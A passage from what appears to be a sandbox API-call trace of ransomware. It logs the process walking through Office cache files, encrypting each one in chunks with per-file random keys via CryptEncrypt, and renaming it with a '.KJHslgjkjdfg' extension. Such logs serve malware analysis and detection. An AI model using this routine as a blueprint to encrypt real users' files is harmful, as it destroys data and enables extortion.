lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.301] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.301] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3e7ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.301] SetEndOfFile (hFile=0x124) returned 1 [0136.305] GetProcessHeap () returned 0x2a0000 [0136.305] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.305] GetProcessHeap () returned 0x2a0000 [0136.305] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.305] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.kjhslgjkjdfg")) returned 1 [0136.483] CloseHandle (hObject=0x124) returned 1 [0136.483] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0136.483] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.483] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=2507776) returned 1 [0136.483] GetProcessHeap () returned 0x2a0000 [0136.483] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.484] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.484] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.484] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0136.484] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.484] GetProcessHeap () returned 0x2a0000 [0136.484] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.484] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0136.484] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.484] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0136.486] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0136.486] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0136.486] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0136.487] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.487] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0136.487] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0136.487] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.487] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.487] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.505] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.508] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.508] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.509] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.510] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.510] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.510] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.522] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.525] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.525] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.527] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.527] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.527] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0136.527] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0136.534] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0136.537] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.537] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0136.538] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.538] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0136.538] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.538] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2644d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.538] SetEndOfFile (hFile=0x124) returned 1 [0136.542] GetProcessHeap () returned 0x2a0000 [0136.542] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.542] GetProcessHeap () returned 0x2a0000 [0136.542] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.542] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.kjhslgjkjdfg")) returned 1 [0136.543] CloseHandle (hObject=0x124) returned 1 [0136.604] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0136.604] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.605] GetProcessHeap () returned 0x2a0000 [0136.605] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.606] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.606] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.606] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xf, lpOverlapped=0x0) returned 1 [0136.608] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.608] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.608] GetProcessHeap () returned 0x2a0000 [0136.608] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.608] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0136.608] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.608] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0136.608] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.608] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.608] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.608] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.609] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.609] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.609] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.609] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.609] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x391, lpOverlapped=0x0) returned 1 [0136.609] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x3a0) returned 1 [0136.609] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.609] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x3a0, lpOverlapped=0x0) returned 1 [0136.609] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.609] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.609] SetEndOfFile (hFile=0x124) returned 1 [0136.612] GetProcessHeap () returned 0x2a0000 [0136.612] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0136.612] GetProcessHeap () returned 0x2a0000 [0136.612] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.612] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.kjhslgjkjdfg")) returned 1 [0136.617] CloseHandle (hObject=0x124) returned 1 [0136.617] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0136.617] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0136.617] GetProcessHeap () returned 0x2a0000 [0136.617] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0136.617] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0136.618] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0136.618] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.623] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.623] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.623] GetProcessHeap () returned 0x2a0000 [0136.623] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0136.623] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0136.623] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.623] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0136.623] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0136.623] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0136.623] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0136.624] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0136.624] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0136.624] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0136.624] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0136.624] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.624] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x5ac, lpOverlapped=0x0) returned 1 [0136.624] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x5b0) returned 1 [0136.624] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.624] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x5b0, lpOverlapped=0x0) returned 1 [0136.624] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.624] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.624] SetEndOfFile (hFile=0x124) returned 1 [0136.627] GetProcessHeap () returned 0x2a0000 [0136.627] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0136.627] GetProcessHeap () returned 0x2a0000 [0136.627] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0136.627] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.kjhslgjkjdfg")) returned 1 [0136.628] CloseHandle (hObject=0x124) returned 1 [0136.629] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0136.629] GetProcessHeap () returned 0x2a0000 [0136.629] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0136.629] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0136.629] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0136.629] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.629] GetProcessHeap () returned 0x2a0000 [0136.629] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0136.629] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0136.629] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0136.629] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.629] GetProcessHeap () returned 0x2a0000 [0136.629] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0136.629] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0136.629] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0136.629] CryptDestroyKey (hKey=0x2c6260) returned 1 [0136.629] GetProcessHeap () returned 0x2a0000 [0136.629] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0136.629] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, 